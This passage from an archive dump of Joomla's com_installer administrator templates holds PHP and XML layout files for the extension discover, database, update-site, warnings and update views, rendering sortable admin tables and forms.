			<![CDATA[COM_INSTALLER_MANAGE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
discover/default.php000064400000016030151726570440010532 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-discover" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=discover'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php if ($this->showMessage) : ?>
                        <?php echo $this->loadTemplate('message'); ?>
                    <?php endif; ?>
                    <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                    <?php if (empty($this->items)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('COM_INSTALLER_MSG_DISCOVER_DESCRIPTION'); ?>
                        </div>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                        </div>
                    <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_INSTALLER_DISCOVER_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo Text::_('JVERSION'); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo Text::_('JDATE'); ?>
                                </th>
                                <th scope="col" class="w-15 d-none d-md-table-cell">
                                    <?php echo Text::_('JAUTHOR'); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php foreach ($this->items as $i => $item) : ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->extension_id, false, 'cid', 'cb', $item->name); ?>
                                </td>
                                <th scope="row">
                                    <?php echo $item->name; ?>
                                    <div class="small"><?php echo $item->description; ?></div>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->client_translated; ?>
                                </td>
                                <td>
                                    <?php echo $item->type_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo !empty($item->version) ? $item->version : '&#160;'; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo !empty($item->creationDate) ? $item->creationDate : '&#160;'; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo !empty($item->author) ? $item->author : '&#160;'; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->folder_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->extension_id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                        <?php // load the pagination. ?>
                        <?php echo $this->pagination->getListFooter(); ?>

                    <?php endif; ?>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
discover/default.xml000064400000001201151726570440010535 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_DISCOVER_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_DISCOVER_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_INSTALLER_DISCOVER_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_installer&amp;task=discover.getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
discover/emptystate.php000064400000002256151726570440011312 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Session\Session;

$displayData = [
    'textPrefix' => 'COM_INSTALLER',
    'formURL'    => 'index.php?option=com_installer&task=discover.refresh',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Extensions:_Discover',
    'icon'       => 'icon-puzzle-piece install',
    'createURL'  => 'index.php?option=com_installer&task=discover.refresh&' . Session::getFormToken() . '=1',
    'content'    => Text::_('COM_INSTALLER_MSG_DISCOVER_DESCRIPTION'),
    'title'      => Text::_('COM_INSTALLER_EMPTYSTATE_DISCOVER_TITLE'),
    'btnadd'     => Text::_('COM_INSTALLER_EMPTYSTATE_DISCOVER_BUTTON_ADD'),
];

/** @var \Joomla\Component\Installer\Administrator\View\Discover\HtmlView $this */
if ($this->showMessage) {
    echo $this->loadTemplate('message');
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
updatesite/edit.php000064400000001756151726570440010375 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('form.validate');

?>
<h2><?php echo $this->item->name; ?></h2>
<form action="<?php echo Route::_('index.php?option=com_installer&view=updatesite&layout=edit&update_site_id=' . (int) $this->item->update_site_id); ?>" method="post" name="adminForm" id="adminForm" aria-label="<?php echo Text::_('COM_INSTALLER_UPDATE_FORM_EDIT'); ?>" class="main-card p-4 form-validate">
    <?php echo $this->form->renderFieldset('updateSite'); ?>
    <input type="hidden" name="task" value=""/>
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
database/default.php000064400000020073151726570440010462 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$listOrder     = $this->escape($this->state->get('list.ordering'));
$listDirection = $this->escape($this->state->get('list.direction'));

?>
<div id="installer-database" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=database'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                    <?php if (empty($this->changeSet)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                        </div>
                    <?php else : ?>
                        <table class="table">
                            <caption class="visually-hidden">
                                <?php echo Text::_('COM_INSTALLER_DATABASE_TABLE_CAPTION'); ?>,
                                <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                                <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                            </caption>
                            <thead>
                                <tr>
                                    <td class="w-1 text-center">
                                        <?php echo HTMLHelper::_('grid.checkall'); ?>
                                    </td>
                                    <th scope="col">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirection, $listOrder); ?>
                                    </th>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirection, $listOrder); ?>
                                    </th>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirection, $listOrder); ?>
                                    </th>
                                    <th scope="col" class="w-10">
                                        <?php echo Text::_('COM_INSTALLER_HEADING_PROBLEMS'); ?>
                                    </th>
                                    <th scope="col" class="w-10 d-none d-lg-table-cell text-end">
                                        <?php echo Text::_('COM_INSTALLER_HEADING_DATABASE_SCHEMA'); ?>
                                    </th>
                                    <th scope="col" class="w-10 d-none d-lg-table-cell">
                                        <?php echo Text::_('COM_INSTALLER_HEADING_UPDATE_VERSION'); ?>
                                    </th>
                                    <th scope="col" class="w-10 d-none d-lg-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirection, $listOrder); ?>
                                    </th>
                                    <th scope="col" class="w-1 d-none d-lg-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_ID', 'extension_id', $listDirection, $listOrder); ?>
                                    </th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($this->changeSet as $i => $item) : ?>
                                    <?php $extension = $item['extension']; ?>
                                    <?php $manifest = json_decode($extension->manifest_cache); ?>

                                    <tr class="row<?php echo $i % 2; ?>">
                                        <td class="text-center">
                                            <?php echo HTMLHelper::_('grid.id', $i, $extension->extension_id, false, 'cid', 'cb', $extension->name); ?>
                                        </td>
                                        <th scope="row">
                                            <?php echo $extension->name; ?>
                                            <div class="small">
                                                <?php echo Text::_($manifest->description); ?>
                                            </div>
                                        </th>
                                        <td class="d-none d-md-table-cell">
                                            <?php echo $extension->client_translated; ?>
                                        </td>
                                        <td class="d-none d-md-table-cell">
                                            <?php echo $extension->type_translated; ?>
                                        </td>
                                        <td>
                                            <span class="badge bg-<?php echo count($item['results']['error']) ? 'danger' : ($item['errorsCount'] ? 'warning text-dark' : 'success'); ?>" tabindex="0">
                                                <?php echo Text::plural('COM_INSTALLER_MSG_DATABASE_ERRORS', $item['errorsCount']); ?>
                                            </span>
                                            <div role="tooltip" id="tip<?php echo $i; ?>">
                                                <strong><?php echo Text::plural('COM_INSTALLER_MSG_DATABASE_ERRORS', $item['errorsCount']); ?></strong>
                                                <ul><li><?php echo implode('</li><li>', $item['errorsMessage']); ?></li></ul>
                                            </div>
                                        </td>
                                        <td class="d-none d-lg-table-cell text-end">
                                            <?php echo $extension->version_id; ?>
                                        </td>
                                        <td class="d-none d-lg-table-cell">
                                            <?php echo '&#x200E;' . $extension->version; ?>
                                        </td>
                                        <td class="d-none d-lg-table-cell">
                                            <?php echo $extension->folder_translated; ?>
                                        </td>
                                        <td class="d-none d-lg-table-cell">
                                            <?php echo $extension->extension_id; ?>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>

                        <?php // load the pagination. ?>
                        <?php echo $this->pagination->getListFooter(); ?>

                    <?php endif; ?>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
database/default.xml000064400000001201151726570440010463 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_DATABASE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_DATABASE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_INSTALLER_DATABASE_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_installer&amp;task=database.getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
updatesites/default.php000064400000023645151726570440011260 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getApplication()->getIdentity();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-manage" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=updatesites'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                    <?php if (empty($this->items)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                        </div>
                    <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_INSTALLER_UPDATESITES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'enabled', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_UPDATESITE_NAME', 'update_site_name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-20 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'update_site_id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php foreach ($this->items as $i => $item) :
                            $canCheckin = $user->authorise('core.manage', 'com_checkin')
                                || $item->checked_out === $userId
                                || is_null($item->checked_out);
                            $canEdit    = $user->authorise('core.edit', 'com_installer');
                            ?>
                            <tr class="row<?php echo $i % 2;
                            if ((int) $item->enabled === 2) {
                                echo ' protected';
                            } ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->update_site_id, false, 'cid', 'cb', $item->update_site_name); ?>
                                </td>
                                <td class="text-center">
                                    <?php if (!$item->element) : ?>
                                        <strong>X</strong>
                                    <?php else : ?>
                                        <?php echo HTMLHelper::_('updatesites.state', $item->enabled, $i, $item->enabled < 2, 'cb'); ?>
                                    <?php endif; ?>
                                </td>
                                <th scope="row">
                                    <?php if ($item->checked_out) : ?>
                                        <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'updatesites.', $canCheckin); ?>
                                    <?php endif; ?>
                                    <?php if ($canEdit) : ?>
                                        <a
                                            href="<?php echo Route::_('index.php?option=com_installer&task=updatesite.edit&update_site_id=' . (int) $item->update_site_id); ?>"
                                            title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->update_site_name); ?>"
                                        >
                                            <?php echo Text::_($item->update_site_name); ?>
                                        </a>
                                    <?php else : ?>
                                        <?php echo Text::_($item->update_site_name); ?>
                                    <?php endif; ?>
                                    <div class="small break-word">
                                        <a href="<?php echo $item->location; ?>" target="_blank" rel="noopener noreferrer"><?php echo $this->escape($item->location); ?></a>
                                    </div>
                                    <div class="small break-word">
                                        <?php if ($item->downloadKey['valid']) : ?>
                                        <span class="badge bg-info">
                                            <?php echo Text::_('COM_INSTALLER_DOWNLOADKEY_EXTRA_QUERY_LABEL'); ?>
                                        </span>
                                        <code><?php echo $item->downloadKey['value']; ?></code>
                                        <?php elseif ($item->downloadKey['supported']) : ?>
                                        <span class="badge bg-danger" tabindex="0">
                                            <?php echo Text::_('COM_INSTALLER_DOWNLOADKEY_MISSING_LABEL'); ?>
                                        </span>
                                        <div role="tooltip" id="tip-missing<?php echo $i; ?>">
                                            <?php echo Text::_('COM_INSTALLER_DOWNLOADKEY_MISSING_TIP'); ?>
                                        </div>
                                        <?php endif; ?>
                                    </div>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <span tabindex="0">
                                        <?php echo $item->name; ?>
                                    </span>
                                    <?php if ($item->description) : ?>
                                        <div role="tooltip" id="tip<?php echo $i; ?>">
                                            <?php echo $item->description; ?>
                                        </div>
                                    <?php endif; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->client_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->type_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->folder_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->update_site_id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                        <?php // Load the pagination. ?>
                        <?php echo $this->pagination->getListFooter(); ?>

                    <?php endif; ?>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
updatesites/default.xml000064400000000334151726570440011257 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_UPDATESITES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_UPDATESITES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
installer/default_message.php000064400000001206151726570440012414 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$state    = $this->get('State');
$message1 = $state->get('message');
$message2 = $state->get('extension_message');
?>

<?php if ($message1) : ?>
    <div class="alert alert-info">
        <strong><?php echo $message1; ?></strong>
    </div>
<?php endif; ?>
<?php if ($message2) : ?>
    <div class="alert alert-info">
        <?php echo $message2; ?>
    </div>
<?php endif; ?>
warnings/emptystate.php000064400000001223151726570440011315 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Information:_Warnings',
    'icon'       => 'icon-puzzle-piece install',
    'title'      => Text::_('COM_INSTALLER_MSG_WARNINGS_NONE'),
    'content'    => '',
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
warnings/default.xml000064400000001170151726570440010554 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_WARNINGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_WARNINGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_INSTALLER_WARNINGS_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_installer&amp;task=getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
warnings/default.php000064400000005205151726570440010546 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div id="installer-warnings" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=warnings'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php if (count($this->messages)) : ?>
                        <?php foreach ($this->messages as $message) : ?>
                            <div class="alert alert-warning">
                                <h4 class="alert-heading">
                                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                                    <?php echo $message['message']; ?>
                                </h4>
                                <p class="mb-0"><?php echo $message['description']; ?></p>
                            </div>
                        <?php endforeach; ?>
                        <div class="alert alert-info">
                            <h4 class="alert-heading">
                                <span class="icon-info-circle" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                                <?php echo Text::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'); ?>
                            </h4>
                            <p class="mb-0"><?php echo Text::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC'); ?></p>
                        </div>
                    <?php else : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span>
                            <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('COM_INSTALLER_MSG_WARNINGS_NONE'); ?>
                        </div>
                    <?php endif; ?>
                    <div>
                        <input type="hidden" name="boxchecked" value="0">
                        <?php echo HTMLHelper::_('form.token'); ?>
                    </div>
                </div>
            </div>
        </div>
    </form>
</div>
update/default.xml000064400000001171151726570440010207 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_UPDATE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_UPDATE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_INSTALLER_UPDATE_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_installer&amp;task=update.getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
update/default.php000064400000023153151726570440010202 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('multiselect')
    ->useScript('com_installer.changelog');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-update" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=update'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php if ($this->showMessage) : ?>
                        <?php echo $this->loadTemplate('message'); ?>
                    <?php endif; ?>
                    <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                    <?php if (empty($this->items)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('COM_INSTALLER_MSG_UPDATE_NOUPDATES'); ?>
                        </div>
                    <?php else : ?>
                        <table class="table">
                            <caption class="visually-hidden">
                                <?php echo Text::_('COM_INSTALLER_UPDATE_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                            </caption>
                            <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'u.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo Text::_('COM_INSTALLER_CURRENT_VERSION'); ?>
                                </th>
                                <th scope="col">
                                    <?php echo Text::_('COM_INSTALLER_NEW_VERSION'); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo Text::_('COM_INSTALLER_CHANGELOG'); ?>
                                </th>
                                <th class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo Text::_('COM_INSTALLER_HEADING_INSTALLTYPE'); ?>
                                </th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php
                            foreach ($this->items as $i => $item) : ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td class="text-center">
                                        <?php if ($item->isMissingDownloadKey) : ?>
                                        <span class="icon-ban"></span>
                                        <?php else : ?>
                                            <?php echo HTMLHelper::_('grid.id', $i, $item->update_id, false, 'cid', 'cb', $item->name); ?>
                                        <?php endif; ?>
                                    </td>
                                    <th scope="row">
                                        <span tabindex="0"><?php echo $this->escape($item->name); ?></span>
                                        <div role="tooltip" id="tip<?php echo $i; ?>">
                                            <?php echo $item->description; ?>
                                        </div>
                                        <div class="small break-word">
                                        <?php echo $item->detailsurl; ?>
                                            <?php if (!empty($item->infourl)) : ?>
                                                <br>
                                                <a href="<?php echo $item->infourl; ?>" target="_blank" rel="noopener noreferrer"><?php echo $this->escape(trim($item->infourl)); ?></a>
                                            <?php endif; ?>
                                        </div>
                                        <?php if ($item->isMissingDownloadKey) : ?>
